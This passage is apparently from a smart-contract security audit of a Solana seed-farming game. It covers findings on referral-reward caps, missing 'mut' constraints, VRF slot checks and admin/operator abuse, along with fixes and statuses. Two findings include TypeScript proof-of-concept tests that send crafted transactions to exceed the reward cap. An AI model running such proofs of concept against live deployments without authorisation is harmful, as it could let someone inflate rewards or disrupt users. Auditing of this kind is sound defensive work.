In the `open_seed_pack` function, new seeds are generated in a loop based on the `seed_pack.quantity`. Before adding each seed, there is a check:

```
if header.total_count >= crate::constants::MAX_TOTAL_SEEDS {
    msg!("⚠️ Storage full, cannot add seed {}", i);
    continue;
}
```

This `continue` statement causes the loop to skip the rest of the seed generation logic when the total seed count reaches the `MAX_TOTAL_SEEDS` limit.

However, the code includes logic further down to auto-discard the oldest unplanted seed of the same type to make space when per-type capacity is exceeded.

```
        if seed_type_idx < header.seed_type_counts.len() &&
           header.seed_type_counts[seed_type_idx] >=
    MAX_SEEDS_PER_TYPE {
            // Auto-discard oldest seed of this type
```

```
            if let Some(pos) = seeds.iter().position(|s| s.seed_type
    == seed_type && !s.is_planted) {
                seeds.remove(pos);
                header.seed_type_counts[seed_type_idx] -= 1;
                header.total_count -= 1;
                msg!("Auto-discarded oldest unplanted seed of type
    {:?}", seed_type);
            }
        }
```

Because the global capacity check is placed before the discard logic, the function does not attempt to free space, resulting in seeds being skipped even when potential cleanup could make room.

Recommendation

Place the discard logic before the global capacity check.

Status

Fixed

Mid 05 Current Pending Rewards Check Does Not Consider New Addition

Location

referral.rs:140

Description

In `referral.rs` :: `accumulate_referral_reward` the current logic for enforcing the pending referral rewards cap only checks if the referrer's existing pending rewards are less than the maximum allowed (5% of total supply, e.g., 12,000,000 WEED). It does not account for the new referral reward that is about to be added. This means that if a referrer is just below the cap, a new reward can push their pending total above the limit. For example, if the referrer has 11,999,999 WEED pending and receives a new reward of 2 WEED, the check passes (since 11,999,999

< 12,000,000), but after addition, the pending rewards become 12,000,001, exceeding the intended cap. This allows users to accumulate more pending rewards than the system is supposed to permit, undermining the economic constraint.

Proof of Concept

1. Add the following line to the `devnet\06-advanced-operations.test.ts` file:

```
function getDiscriminator(instructionName: string): Buffer {
  const discriminators: { [key: string]: number[] } = {
    plant_seed: [139, 66, 41, 202, 41, 145, 173, 204],
    remove_seed: [20, 0, 163, 177, 155, 168, 2, 245],
    discard_seed: [153, 9, 118, 4, 85, 42, 187, 231],
    batch_plant_seeds: [152, 54, 216, 225, 232, 140, 136, 178],
    batch_remove_seeds: [215, 234, 126, 249, 42, 5, 145, 144],
    batch_discard_seeds: [172, 217, 252, 81, 250, 142, 254, 229],
    upgrade_farm_space: [236, 239, 198, 160, 101, 135, 45, 49],
    claim_rewards: [4, 144, 132, 71, 116, 23, 151, 80],
    update_treasury: [60, 16, 243, 66, 96, 59, 254, 131],
    withdraw_withheld_fees: [218, 239, 204, 189, 28, 157, 217, 82],
    transfer_fees_to_treasury: [232, 20, 136, 174, 171, 8, 106, 43],
+    accumulate_referral_reward: [24, 31, 36, 7, 236, 199, 247, 124],
  };

  return Buffer.from(discriminators[instructionName] || []);
}
```

2. Add the following test to the same file:

```
describe("🔗 Referral Operations", () => {
    it("accumulate referral rewards max supply check does not consider new addition", async () => {
      console.log(`\n🧪 Testing referral reward accumulation...`);

      // Use player as the referrer (not an operator)
      const referrer = player;
      const [referrerStatePDA] = getUserStatePDA(referrer.publicKey);
      const [configPDA] = getConfigPDA();

      // Ensure referrer has a UserState account
      const referrerStateBefore = await connection.getAccountInfo(referrerStatePDA);
      if (!referrerStateBefore) {
        console.log(`⚠️ Referrer UserState not found - player must be initialized`);
        console.log(`   Run earlier tests or initialize user first`);
```

```
15          return;
16        }
17
18        const offset = 90;
19        const pendingRewardsBefore = referrerStateBefore.data.
      readBigUInt64LE(offset);
20        console.log(` Initial pending referral rewards: ${
      pendingRewardsBefore} units`);
21
22        // PHASE 1: Accumulate referral rewards just below max supply
23        // Prepare instruction data
24        const rewardAmount = 119999990n * 1000000n; // 119999990 WEED in
       base units (1 WEED = 1,000,000 units)
25        const referralLevel = 1; // L1 referrer
26        const data = Buffer.concat([
27          getDiscriminator("accumulate_referral_reward"),
28          (() => {
29            const buf = Buffer.alloc(8);
30            buf.writeBigUInt64LE(rewardAmount);
31            return buf;
32          })(),
33          Buffer.from([referralLevel]),
34        ]);
35
36        const accumulateIx = new TransactionInstruction({
37          keys: [
38            { pubkey: referrerStatePDA, isSigner: false, isWritable:
      true },
39            { pubkey: referrer.publicKey, isSigner: false, isWritable:
      false },
40            { pubkey: configPDA, isSigner: false, isWritable: false },
41          ],
42          programId: PROGRAM_ID,
43          data,
44        });
45
46        // Send transaction
47        try {
48          const tx = new Transaction().add(accumulateIx);
49          const signature = await sendAndConfirmTransaction(connection,
      tx, [admin], {
50            commitment: "confirmed",
51          });
52          console.log(` Transaction succeeded: ${signature.substring(0,
       8)}...`);
53        } catch (error: any) {
54          console.log(` Transaction failed: ${error.message}`);
```

```
55          throw error;
56        }
57
58        // Check updated pending rewards
59        const referrerStateAfter = await connection.getAccountInfo(
      referrerStatePDA);
60        const pendingRewardsAfter = referrerStateAfter!.data.
      readBigUInt64LE(offset);
61        console.log(` Updated pending referral rewards: ${
      pendingRewardsAfter} units`);
62
63        // Verify increase
64        expect(pendingRewardsAfter).to.equal(pendingRewardsBefore + (
      rewardAmount / 10n));
65        console.log(` Pending referral rewards increased by ${
      rewardAmount} units`);
66
67        // PHASE 2: Accumulate referral rewards to hit max supply
68        // Prepare instruction data
69        const rewardAmountNew = 1000n * 1000000n; // 1000 WEED in base
      units (1 WEED = 1,000,000 units)
70        const dataNew = Buffer.concat([
71          getDiscriminator("accumulate_referral_reward"),
72          (() => {
73            const buf = Buffer.alloc(8);
74            buf.writeBigUInt64LE(rewardAmountNew);
75            return buf;
76          })(),
77          Buffer.from([referralLevel]),
78        ]);
79
80        const accumulateIxNew = new TransactionInstruction({
81          keys: [
82            { pubkey: referrerStatePDA, isSigner: false, isWritable:
      true },
83            { pubkey: referrer.publicKey, isSigner: false, isWritable:
      false },
84            { pubkey: configPDA, isSigner: false, isWritable: false },
85          ],
86          programId: PROGRAM_ID,
87          data: dataNew,
88        });
89
90        // Send transaction
91        try {
92          const tx = new Transaction().add(accumulateIxNew);
93          const signature = await sendAndConfirmTransaction(connection,
```

```
      tx, [admin], {
94            commitment: "confirmed",
95          });
96          console.log(` Transaction succeeded: ${signature.substring(0,
     8)}... `);
97        } catch (error: any) {
98          console.log(` Transaction failed: ${error.message}`);
99          throw error;
100       }
101
102       // Check updated pending rewards
103       const referrerStateAfterNew = await connection.getAccountInfo(
      referrerStatePDA);
104       const pendingRewardsAfterNew = referrerStateAfterNew!.data.
      readBigUInt64LE(offset);
105       console.log(` Updated pending referral rewards: ${
      pendingRewardsAfterNew} units`);
106
107       // Verify increase
108       const expectedRewards = pendingRewardsBefore + (rewardAmount /
      10n) + (rewardAmountNew / 10n);
109
110       const maxSupply = 12000000n * 1000000n; // 12 million WEED in
      base units
111       if(expectedRewards > maxSupply) {
112         console.log(` Pending rewards exceeded max supply: ${
      expectedRewards} > ${maxSupply}`);
113       }
114
115       expect(pendingRewardsAfterNew).to.equal(expectedRewards);
116       console.log(` Pending referral rewards increased by ${(
      rewardAmount / 10n) + (rewardAmountNew / 10n)} units`);
117     });
118 });
```

Recommendation

Update the validation to check that the sum of the current pending rewards and the new referral reward does not exceed the cap. Specifically, require that `current_pending.checked_add(referral_reward) ⩽ max_allowed_pending` before allowing the addition. This will ensure that no user can ever exceed the maximum allowed pending referral

Status

Fixed

Mid 06 Missing `mut` Constraint Will Lead To Panic

Location

invite.rs

referral.rs

Description

In both `invite.rs` (specifically the `UseReferralCode` instruction) and `referral.rs` (in the `accumulate_referral_rewards_for_referrers` function), certain accounts that are mutated during execution—such as `inviter_state`, `pre_registered_code` (`invite.rs`) and `level1_referrer_state`, `level2_referrer_state` (`referral.rs`) —are not marked as writable in their respective account constraints (the `mut` keyword is missing). On Solana, transactions must declare in advance which accounts will be mutated so the runtime can apply write locks and ensure atomicity. If an account is mutated without being marked as writable, the transaction will panic at runtime, causing failed or reverted operations. This breaks expected program behavior and can lead to confusing errors for users and developers.

Proof of Concept

1. Create a new keypair named `player-vuln-keypair.json`
2. In `devnet\02-player-operations.test.ts` add the following lines:

```
// Test suite
describe("DevNet Player Operations", () => {
  let admin: Keypair;
  let operator: Keypair;
  let player: Keypair;
  let player2: Keypair;
  let player3: Keypair;
+  let playerVuln: Keypair;
  let configPDA: PublicKey;
  let rewardMintPDA: PublicKey;
```

```
11
12    ...
13
14    before(async () => {
15      console.log("\nDevNet Player Operations Setup");
16      console.log("═══════════════════════════════════════");
17      console.log(`Program ID: ${PROGRAM_ID.toString()}`);
18      console.log(`RPC: ${DEVNET_RPC}`);
19
20      // Load all test keypairs from the keypairs directory
21      admin = loadKeypair("deploy-keypair.json");
22      operator = loadKeypair("operator-keypair.json");
23      player = loadKeypair("player-keypair.json");
24      player2 = loadKeypair("player2-keypair.json");
25      player3 = loadKeypair("player3-keypair.json");
26 +     playerVuln = loadKeypair("player-vuln-keypair.json");
27
28      console.log(`Admin: ${admin.publicKey.toString()}`);
29      console.log(`Operator: ${operator.publicKey.toString()}`);
30      console.log(`Player 1: ${player.publicKey.toString()}`);
31      console.log(`Player 2: ${player2.publicKey.toString()}`);
32      console.log(`Player 3: ${player3.publicKey.toString()}`);
33 +     console.log(`Player Vulnerable: ${playerVuln.publicKey.toString()
    }`);
34
35      ...
```

3. Add the following test in the same file:

```
1  describe("Player Vuln: Missing `mut` constraint", () => {
2      it("should fail setting up Player Vuln using Player 2's referral
    code due to no mut constraint", async () => {
3        const [userStatePDA] = getUserStatePDA(playerVuln.publicKey);
4
5        console.log(`Chain: Admin -> Player 1 -> Player 2 -> Player Vuln
    `);
6        console.log(`Goal: Player Vuln tries to use Player 2's referral
    code to join but fails due to no mut constraint`);
7
8        // Check if already joined
9        const existingUserState = await connection.getAccountInfo(
    userStatePDA);
10       if (existingUserState) {
11         console.log(`Player Vuln already registered and joined`);
12
13         // Check current referrer
14         const hasReferrer = existingUserState.data[57] === 1;
15         if (hasReferrer) {
```

```
        const currentReferrer = new PublicKey(
          existingUserState.data.slice(58, 90)
        );
        console.log(
          `   Current referrer: ${currentReferrer.toString().slice
(0, 8)}...`
        );
        if (!currentReferrer.equals(player2.publicKey)) {
          console.log(
            `   Player Vuln has different referrer, need to re-
register`
          );
        }
      }
      return;
    }

    console.log(`Player Vuln will use Player 2's referral code
directly...`);

    // Get Player 2's UserState to extract their referral code
    const [player2UserStatePDA] = getUserStatePDA(player2.publicKey)
;
    const player2StateInfo = await connection.getAccountInfo(
      player2UserStatePDA
    );

    if (!player2StateInfo) {
      console.log(`Player 2 hasn't joined the game yet`);
      return;
    }

    // Extract Player 2's referral code from their UserState
    // Same offset calculation as Player 1
    const referralCodeOffset =
      8 + 32 + 8 + 8 + 1 + 33 + 8 + 8 + 8 + 8 + 8 + 8 + 8; // = 156
    const player2ReferralCode = player2StateInfo.data.slice(
      referralCodeOffset,
      referralCodeOffset + 8
    );

    console.log(
      `   Player 2's referral code: ${Buffer.from(
        player2ReferralCode
      ).toString("hex")}`
    );

```

```
59        // Player Vuln uses Player 2's referral code directly
60        const [playerVulnPreRegPDA] = getPreRegisteredPDA(playerVuln.
      publicKey);
61        const [seedStoragePDA] = getSeedStoragePDA(playerVuln.publicKey)
      ;
62        const [seedStorageDataPDA] = getSeedStorageDataPDA(playerVuln.
      publicKey);
63
64        const useReferralIx = new TransactionInstruction({
65          keys: [
66            { pubkey: player2UserStatePDA, isSigner: false, isWritable:
      false }, // inviter_state (Player 2's UserState) -> isWritable:
      false to trigger no mut constraint
67            { pubkey: playerVulnPreRegPDA, isSigner: false, isWritable:
      false },
68            { pubkey: userStatePDA, isSigner: false, isWritable: true },
69            { pubkey: configPDA, isSigner: false, isWritable: true },
70            {
71              pubkey: getProbabilityTablePDA()[0],
72              isSigner: false,
73              isWritable: false,
74            }, // probability_table
75            {
76              pubkey: getFarmLevelConfigPDA()[0],
77              isSigner: false,
78              isWritable: false,
79            }, // farm_level_config
80            // Seed storage header account - auto-initialized
81            { pubkey: seedStoragePDA, isSigner: false, isWritable: true
      }, // seed_storage_header
82            // Seed storage data account - auto-initialized
83            { pubkey: seedStorageDataPDA, isSigner: false, isWritable:
      true }, // seed_storage_data
84            { pubkey: playerVuln.publicKey, isSigner: true, isWritable:
      true }, // user (Player Vuln)
85            {
86              pubkey: SystemProgram.programId,
87              isSigner: false,
88              isWritable: false,
89            }, // system_program
90          ],
91          programId: PROGRAM_ID,
92          data: Buffer.concat([
93            getDiscriminator("use_referral_code"),
94            player2ReferralCode,
95          ]),
96        });
```

```
97
98        try {
99          const tx = new Transaction().add(useReferralIx);
100         await sendAndConfirmTransaction(connection, tx, [playerVuln]);
101         console.log(`Player Vuln joined using Player 2's referral code
        regardless of no mut constraint`);
102         // Throw error to fail the test
103         throw new Error(`Expected no mut constraint error but
      succeeded`);
104       } catch (error: any) {
105         // Check for expected error
106         if (error.message.includes("no mut constraint")) {
107           throw error; // Re-throw to fail the test
108         }
109         console.log(`Direct referral failed as expected: ${error.
      message}`);
110       }
111     });
112 });
```

Recommendation

Update the account constraints for all instructions and contexts where accounts are mutated to include the `mut` keyword. Specifically, mark `inviter_state` and `pre_registered_code` as `#[account(mut)]` in `UseReferralCode`, and ensure `level1_referrer_state` and `level2_referrer_state` are marked as `#[account(mut)]` in `ClaimRewardWithReferralRewards`. This will allow Solana to properly apply write locks and prevent runtime panics, ensuring safe and predictable execution

Status

Fixed

Mid 07 Commit And Purchase Multicall Not Supported

Location

seeds.rs:800

Description

The current implementation of `seeds.rs::purchase_seed_pack` checks that the `seed_slot` in the VRF account is exactly one less than the current slot (`seed_slot == clock.slot - 1`) to validate that the VRF commit occurred in the immediately preceding slot. This strict requirement is intended to enforce the correct sequence of commit and purchase operations. However, it does not support the intended "commit + purchase multicall" pattern, where both the commit and purchase instructions are included in the same transaction. In a multicall, both instructions execute within the same slot, making it impossible for `seed_slot` to ever be `clock.slot - 1`. As a result, the program will reject valid multicall transactions, preventing users from efficiently batching these operations and reducing UX and transaction efficiency.

Recommendation

Update the slot difference check to allow commit and purchase to occur in the same slot. For example, accept both `seed_slot == clock.slot` (for multicall) and `seed_slot ⩾ clock.slot - 1` (for sequential transactions). This will enable the intended commit + purchase multicall pattern, improving user experience and transaction efficiency, while still maintaining the security guarantees of the commit-reveal pattern.

Status

Fixed

Mid 08
`accumulate_referral_rewards_for_referrers` Missing Max Pending Validation

Location

referral.rs:566

Description

The `referral.rs::accumulate_referral_rewards_for_referrers` function is responsible for adding referral rewards to the pending balances of Level 1 and Level 2 referrers when a user claims farming rewards. However, it does not validate whether the new pending referral rewards will exceed the maximum allowed limit (5% of the total WEED supply, e.g., 12,000,000 WEED). Without this check, a referrer could accumulate more pending rewards than the system intends, especially if they are already close to the cap. This undermines the economic constraint designed to prevent excessive accumulation and could lead to inflation of referral rewards beyond safe limits.

Recommendation

Before adding new referral rewards to a referrer's pending balance, validate that the sum of the current pending rewards and the new reward does not exceed the 5% supply cap. Specifically, require that `pending_referral_rewards + new_reward ⩽ max_allowed_pending` for both Level 1 and Level 2 referrers. If the addition would exceed the cap, reject the transaction or only add up to the cap. This will enforce the intended economic limits and maintain the integrity of the referral reward system.

Status

Acknowledged

Mid 09 `accumulate_referral_rewards_internal` Missing Max Pending Validation

Location

referral.rs:188

Description

The `referral.rs::accumulate_referral_rewards_internal` function is responsible for adding referral rewards to the pending balances of Level 1 and Level 2 refer-

rers. However, it does not validate whether the new pending referral rewards will exceed the maximum allowed limit (5% of the total WEED supply, e.g., 12,000,000 WEED). Without this check, a referrer could accumulate more pending rewards than the system intends, especially if they are already close to the cap. This undermines the economic constraint designed to prevent excessive accumulation and could lead to inflation of referral rewards beyond safe limits.

Recommendation

Before adding new referral rewards to a referrer's pending balance, validate that the sum of the current pending rewards and the new reward does not exceed the 5% supply cap. Specifically, require that `pending_referral_rewards + new_reward ⩽ max_allowed_pending` for both Level 1 and Level 2 referrers. If the addition would exceed the cap, reject the transaction or only add up to the cap. This will enforce the intended economic limits and maintain the integrity of the referral reward system.

Status

Fixed

Mid 10 Faulty Economic Model Assumption Regarding Transfer Fee

Location

utils.rs

state.rs

Description

The economic model of the game assumes that a 2% transfer fee is automatically applied whenever WEED tokens are minted and distributed as rewards (using the SPL Token 2022 standard). This assumption is reflected in both code comments and documentation, which state that minting triggers the transfer fee extension. (`utils.rs` and `state.rs`) However, in SPL Token 2022, the transfer fee

extension is only invoked during `Transfer` and `TransferChecked` instructions, not during `MintTo`. As a result, when tokens are minted to a user's account (through `utils.rs::mint_tokens_to_user`), no transfer fee is collected, and the treasury does not receive the expected 2% fee. This discrepancy undermines the intended deflationary and fee-collection mechanisms of the game's tokenomics, potentially leading to economic imbalances and less revenue for the treasury than anticipated.

Evidence of Token 2022 behaviour here

Recommendation

Update the reward distribution logic to explicitly transfer minted tokens from the mint authority to the user's account using a `TransferChecked` instruction after minting, rather than relying solely on `MintTo`. This will ensure that the transfer fee extension is properly invoked and the 2% fee is collected as designed. Additionally, update documentation and comments to accurately reflect the behavior of SPL Token 2022 and avoid misleading assumptions about fee collection during minting.

Status

Fixed

Low

Low 01 Missing `max_invite_limit` Validation

Location

system_validation.rs:48

Description

The `ensure_system_fully_initialized` function does not validate the `max_invite_limit` field in the global configuration. During system initialization (as seen in `admin.rs`), `max_invite_limit` is set to a default value (`MAX_INVITE_LIMIT`, currently 1024).

However, there is no check to ensure that this value is within a reasonable or expected range when validating the system's readiness. If `max_invite_limit` is accidentally set to an incorrect, zero, or excessively high value, it could allow users to invite an unintended number of participants, potentially leading to abuse or breaking intended game mechanics.

Recommendation

Add a validation step in `ensure_system_fully_initialized` to check that `config.max_invite_limit` is greater than zero and does not exceed a reasonable upper bound (such as `MAX_INVITE_LIMIT`). This will ensure that the invitation system operates within intended limits and prevent misconfiguration during initialization.

Status

Fixed

Low 02 Missing Probability Threshold Validation For The Rest Of The Farm Levels

Location

system_validation.rs:48

Description

The current implementation of `ensure_system_fully_initialized` only validates the probability thresholds for the first farm level (level 1) in the `ProbabilityTable`. However, the game supports multiple farm levels, each with its own set of probability thresholds that determine the distribution of seed types when opening seed packs. If the thresholds for higher levels are misconfigured (e.g., not starting above zero, not ending at 10000, or not being in ascending order), it could lead to incorrect or unfair seed distributions, breaking game balance or causing unexpected behavior. Without validating all active levels, such misconfigurations may go undetected.

Recommendation

Add a loop to validate the probability thresholds for all active levels in the `ProbabilityTable`. For each active level, ensure that the first threshold is greater than zero, the last threshold equals 10000, and (optionally) that thresholds are in ascending order. This will help catch configuration errors early and ensure fair and predictable seed distributions across all farm levels.

It can look something like this:

```
for level in 0..probability_table.active_levels as usize {
    require!(
        probability_table.probability_thresholds[level][0] > 0,
        GameError::SystemNotInitialized
    );
    let last_idx = (probability_table.seed_count - 1) as usize;
    require!(
        probability_table.probability_thresholds[level][last_idx] == 10000,
        GameError::SystemNotInitialized
    );
}
```

Status

Fixed

Low 03 Undistributed Amount Due To Rounding

Location

utils.rs:97

Description

In `utils.rs::validate_referral_scenario_with_operators` the current referral reward distribution logic calculates the user's, L1, and L2 referrers' amounts by multiplying the total reward by each party's percentage (in basis points) and then dividing by 10,000. This approach uses integer division, which truncates any fractional remainder. As a result, small amounts (typically 1–2 lamports) may be lost and not distributed to any party, especially when the total reward is not perfectly

divisible by the percentages. Over many transactions, these small losses can accumulate, leading to a slight under-distribution of rewards.

Example scenario: Suppose the total reward (`base_reward`) is 101 WEED lamports, with standard splits: user 85%, L1 10%, L2 5%.

- `user_amount = (101 * 8500) / 10000 = 85.85 -> 85`
- `l1_amount = (101 * 1000) / 10000 = 10.1 -> 10`
- `l2_amount = (101 * 500) / 10000 = 5.05 -> 5`

Sum: 85 + 10 + 5 = 100.

1 WEED lamport is left undistributed due to rounding.

Recommendation

To ensure all of the reward is distributed, calculate `l1_amount` and `l2_amount` first using integer division, then assign the remainder to the user as `user_amount = base_reward - l1_amount - l2_amount`. This approach guarantees that any rounding loss is absorbed by the user (the fairest approach), and the total distributed always equals the original reward.

Status

Fixed

Low 04 Uninitialized Thresholds Do Not Panic When Activating New Levels

Location

state.rs:454

state.rs:781

Description

When activating/unlocking new farm levels in the `ProbabilityTable` via the `state.rs::activate_levels` method or in the `FarmLevelConfig` via the `state.rs::unlock_level` method, there is currently no check to ensure that the probability

thresholds for those levels have been properly initialized. If an admin increases `active_levels`/`max_unlocked_level` without first setting the corresponding `probability_thresholds`, the new levels will use default values (typically zero), resulting in incorrect or broken seed distributions for users who reach those levels. This can lead to a period where gameplay for newly unlocked levels is unfair or unpredictable until the thresholds are manually configured.

Recommendation

Before allowing new levels to be activated, add a validation step in the `activate_levels`/`unlock_level` method to check that the probability thresholds for each level to be unlocked are properly set (e.g., non-zero and correctly ordered). If any thresholds are not initialized, prevent activation and return an error, prompting the admin to configure the thresholds first. This will ensure that all active levels have valid probability distributions and maintain fair gameplay.

Status

Fixed

Low 05 Wrong `seed_count` Cap

Location

state.rs:1004

Description

The code in `state.rs` :: `from_random_with_table` currently uses `.min(16)` as the upper bound when iterating over `seed_count` in the probability threshold lookup for seed selection. However, according to both the documentation and the `constants.rs` file, the game is designed to support a maximum of `TOTAL_SEED_TYPES` seeds, which is set to 12. Using 16 as the cap allows the code to access indices beyond the valid range of the probability thresholds and seed types arrays in case of a wrong setup of `seed_count`. This could lead to out-of-bounds access, undefined behavior, or incorrect results if the arrays are not fully initialized up to index 15.

It also creates confusion and inconsistency between the implementation and the documented system limits.

Recommendation

Replace `.min(16)` with `.min(crate::constants::TOTAL_SEED_TYPES)` wherever the code iterates over or slices arrays related to seed types. This ensures that all array accesses remain within the valid, documented range and aligns the implementation with the intended maximum number of supported seed types (12).

Status

Fixed

Low 06 Wrong Log When Invalid Farm Level Requested

Location

state.rs:560

Description

In `state.rs` in the `FarmSpace::get_capacity_for_level` function, a warning message is logged when an invalid farm level is requested:

```
msg!("⚠ Invalid farm level {} requested, returning max capacity",
    level);`
```

However, after this log, the function attempts to return the maximum capacity from the `farm_config.capacities` array. If this lookup fails (e.g., due to a misconfigured or truncated array), it defaults to returning 4, which is the capacity for level 1. This means the warning message may indicate that the “max capacity” is being returned, but in reality, the function could be returning the minimum (level 1) capacity instead. This can mislead developers or users who rely on logs for debugging, making it harder to diagnose configuration issues or unexpected behavior.

Recommendation

Update the logging logic so that the warning is only emitted when the function is actually returning the maximum configured capacity. Additionally, add a separate log message when the function falls back to returning the level 1 capacity (4). This will make the logs more accurate and informative, helping developers quickly identify whether the fallback was to the true maximum or to the default minimum capacity.

Status

Fixed

Low 07 `update_treasury` Does Not Update Treasury Address Of FeePool But It Is Not Used Anywhere

Location

admin.rs:628

Description

When updating the treasury address using the `admin.rs` :: `update_treasury` function, only the `Config` account's `treasury` field is updated. The `FeePool` struct, which also contains a `treasury_address` field used to determine where to send collected fees, is not updated. This means that after a treasury address change, the `FeePool` may still reference the old address, potentially causing confusion about the treasury address. Additionally, the `FeePool`'s `treasury_address` is not designed to be changeable after initialization, making it impossible to update without redeploying or reinitializing the fee pool. Furthermore, the `FeePool`'s `treasury_address` is not actually used anywhere in the code, making this field obsolete and potentially confusing for maintainers.

Recommendation

Refactor the code to ensure that the treasury address used for fee transfers is always sourced from a single, authoritative location (preferably the `Config` account).

Remove the redundant `treasury_address` field from the `FeePool` struct as it is not used, or implement a mechanism to update it whenever the treasury address changes. This will prevent inconsistencies, reduce confusion, and ensure that all fees are sent to the correct, current treasury address.

Status

Fixed

Low 08 `active_levels` Not Copied From Initialized Probability Table

Location

admin.rs:728

Description

When initializing the probability table in `admin.rs` :: `initialize_probability_table_internal` , the `active_levels` field is not copied from the `table_data` returned by `ProbabilityTable` :: `init_standard_table()`. As a result, the `active_levels` value in the newly created `probability_table` account may be left at its default (often zero) or an outdated value, rather than reflecting the intended number of active farm levels as defined in the standard table (`active_levels = 5`). This can cause inconsistencies between the actual configuration and the expected game state, potentially leading to issues where certain farm levels are incorrectly considered locked or unlocked, and affecting gameplay progression or seed distribution logic.

Recommendation

Explicitly copy the `active_levels` field from `table_data` to the `probability_table` account during initialization. This ensures that the number of active farm levels in the on-chain state matches the intended configuration and prevents discrepancies that could impact game mechanics.

Status

Fixed

Low 09 Poor Reveal Seed Design

Location

admin.rs:939

Description

When a new seed is revealed using the `admin.rs` :: `reveal_seed` function, only the grow power and revelation status of the seed are updated. However, the probability distribution for the new seed is not set until the `update_probability_table` function is called separately. If the admin forgets or delays calling `update_probability_table` after revealing a new seed, the new seed will not be included in the probability thresholds used for seed pack openings. This can result in the new seed being unavailable to players or the probability distribution being incorrect, leading to inconsistencies in gameplay and economic balance.

Recommendation

Automate a call to `update_probability_table` immediately after revealing a new seed. This could be achieved by batching both operations in a single transaction or by providing a combined function that reveals the seed and updates the probability table in one step. This ensures that every newly revealed seed is properly integrated into the game's probability distribution and available to players without delay or risk of misconfiguration.

Status

Acknowledged

Low 10 Refunding Pack Griefing Attack By Malicious Operator

Location

admin.rs:1433

Description

The `admin.rs::clear_dangling_pack_reference` function in the system, which is accessible to both administrators and operators, contains a vulnerability that can be exploited by a malicious operator to perform a grief attack. This attack disrupts gameplay and frustrates users by preventing them from using newly purchased seed packs. Here's how the exploit works:

- Step 1: User Purchase
  A user purchases a seed pack, and the system updates their `UserState` to record the pack's ID as `latest_unopened_pack_id`, indicating it is unopened and ready for use.
- Step 2: Operator Refund
  A malicious operator calls the `clear_dangling_pack_reference` function, providing the pack's ID. If the pack remains unopened and its escrow (a temporary holding mechanism for the transaction) is still active, the function triggers a refund.
- Step 3: Outcome
  The user's tokens are returned, and the pack is either marked as opened. As a result, the user cannot access or use the pack. The operator can repeat this process for every new pack the user purchases, effectively blocking their ability to progress.

Impact:
- User Frustration: Users are unable to enjoy the packs they've paid for, halting their gameplay experience.

- Gameplay Disruption: The fundamental mechanic of purchasing and opening seed packs becomes unreliable, breaking the intended flow of the game.
- Reputation Damage: If this issue persists, it could erode trust in the system, damaging its credibility among users.

Feasibility:
The attack is practical, though it requires the operator to act quickly—before the user opens the pack. There are currently no built-in restrictions to stop an operator from repeatedly invoking this function, making it a viable exploit.

Why It's a Concern:
The system assumes operators are trustworthy and won't act maliciously. While the attack doesn't result in financial loss for users (since they are refunded), it significantly degrades the user experience and undermines the system's reliability.

Recommendation

To address this vulnerability and protect the system from such grief attacks, the following measures are recommended:

1. Restrict Access
    - Limit the `clear_dangling_pack_reference` function to administrators only, removing operators' ability to exploit it and reducing the risk of misuse.
2. Rate Limiting
    - Add a cooldown period (e.g., a delay between calls) or a maximum limit on how many times the function can be called within a specific timeframe. This would prevent rapid, repeated refund attempts by a malicious operator.
3. User Control
    - Give users the option to "lock" their packs immediately after purchase, preventing refunds until they unlock them. This empowers users to safeguard their purchases and ensures they can use their packs as intended.

By implementing these changes, the system can maintain the intended functionality of `clear_dangling_pack_reference` while significantly reducing the risk of grief attacks, thereby improving both security and user satisfaction.

Status

Acknowledged

Low 11 Incorrect Validation For `max_unlocked_level` Allows To Be Set To Previous Levels

Location

farm.rs:193-234

Description

The `max_unlocked_level` parameter in the farm level configuration controls the highest farm level that players can currently upgrade to. By default, it is set to 5 at system initialization, allowing players to progress up to level 5. The intended design is for this value to be increased over time by the admin using the `update_farm_level_config` instruction, unlocking higher levels as the game evolves.

However, the current implementation of `update_farm_level_config` allows the admin to set `max_unlocked_level` to any value between 1 and 10, including values lower than the current `max_unlocked_level`.

This means the admin could intentionally reduce the maximum unlocked level. Also, the function allows toggling `max_unlocked_level` up and down at any time, rather than enforcing a strictly increasing progression.

Recommendation

Modify the validation logic in `update_farm_level_config` to only allow `max_unlocked_level` to be increased:

```
require!(max_unlocked_level ⩾ config.max_unlocked_level, GameError
  ::InvalidConfig);
```

Status

Fixed

Low 12 Inconsistent And Mutable Farm Level Capacities Due To Partial Updates In `update_farm_level_config`

Location

farm.rs:193-234

Description

The `update_farm_level_config` function allows the admin to update the capacities array for farm levels, but only up to the current `max_unlocked_level`. This means that each time a new level is unlocked, the admin must provide the full list of capacities for all unlocked levels, including previously set levels.

Although there is a check for ascending order and maximum limits in the current update, the admin can break the intended progression.

Example: `MAX_SEEDS_PER_TYPE = 25`

1. At `max_unlocked_level = 6`, admin sets `[4, 6, 8, 10, 12, 25]` (level 6 has max capacity).
2. Later, at `max_unlocked_level = 7`, admin sets `[4, 6, 8, 10, 12, 20, 25]`, changing level 6's capacity from 25 to 20, and level 7 to 25.

This means that the maximum capacity can be set at several levels.

Recommendation

Once a level is unlocked, its capacity should be immutable. Only new levels should be appended to the capacities array.

Status

Fixed

Low 13 Missing Dynamic Level Validation

Location

grow_powers.rs

Description

The `farm_level_config` account is included in the context for both the `UpdateSeedGrowPowers` and `RevealNewSeed` instructions in`grow_powers.rs`, with the intention of enforcing "dynamic level validation"—meaning that changes to seed grow powers should be restricted based on the current farm level configuration. However, the code does not actually use `farm_level_config` for any validation or access control. This oversight allows an admin to update or reveal seed grow powers without regard to the current configuration, potentially enabling unauthorized or unintended changes. For example, seeds could be revealed or modified before the corresponding farm levels are unlocked, violating the intended progression and game balance.

Recommendation

Implement validation logic in both `UpdateSeedGrowPowers` and `RevealNewSeed` that checks the current state of `farm_level_config` before allowing changes. Specifically, ensure that seeds can only be revealed or updated if the corresponding farm level is unlocked and matches the intended progression. This will enforce the design principle of dynamic level validation and prevent unauthorized changes to seed powers.

Status

Fixed

Low 14 Weak Player Cannot Become Operator Check

Location

operator.rs:86

Description

In the `operator.rs` :: `add_operator_address` function, the admin is required to provide a `potential_user_state` account to check if the candidate operator is already a player (i.e., has a `UserState` account). However, this account is passed in as an unchecked account, and the program only verifies that its address matches the expected PDA for the candidate operator. The admin can supply any account as `potential_user_state`, including an empty or unrelated account. If the account does not exist or is not owned by the program, the check is bypassed, and the candidate can be added as an operator even if they are already a player. This undermines the intended separation between players and operators and allows the admin to circumvent the business rule.

Recommendation

Instead of relying on the admin to supply the correct `potential_user_state` account, the program should always validate the expected PDA for the candidate operator and return error if it doesn't.

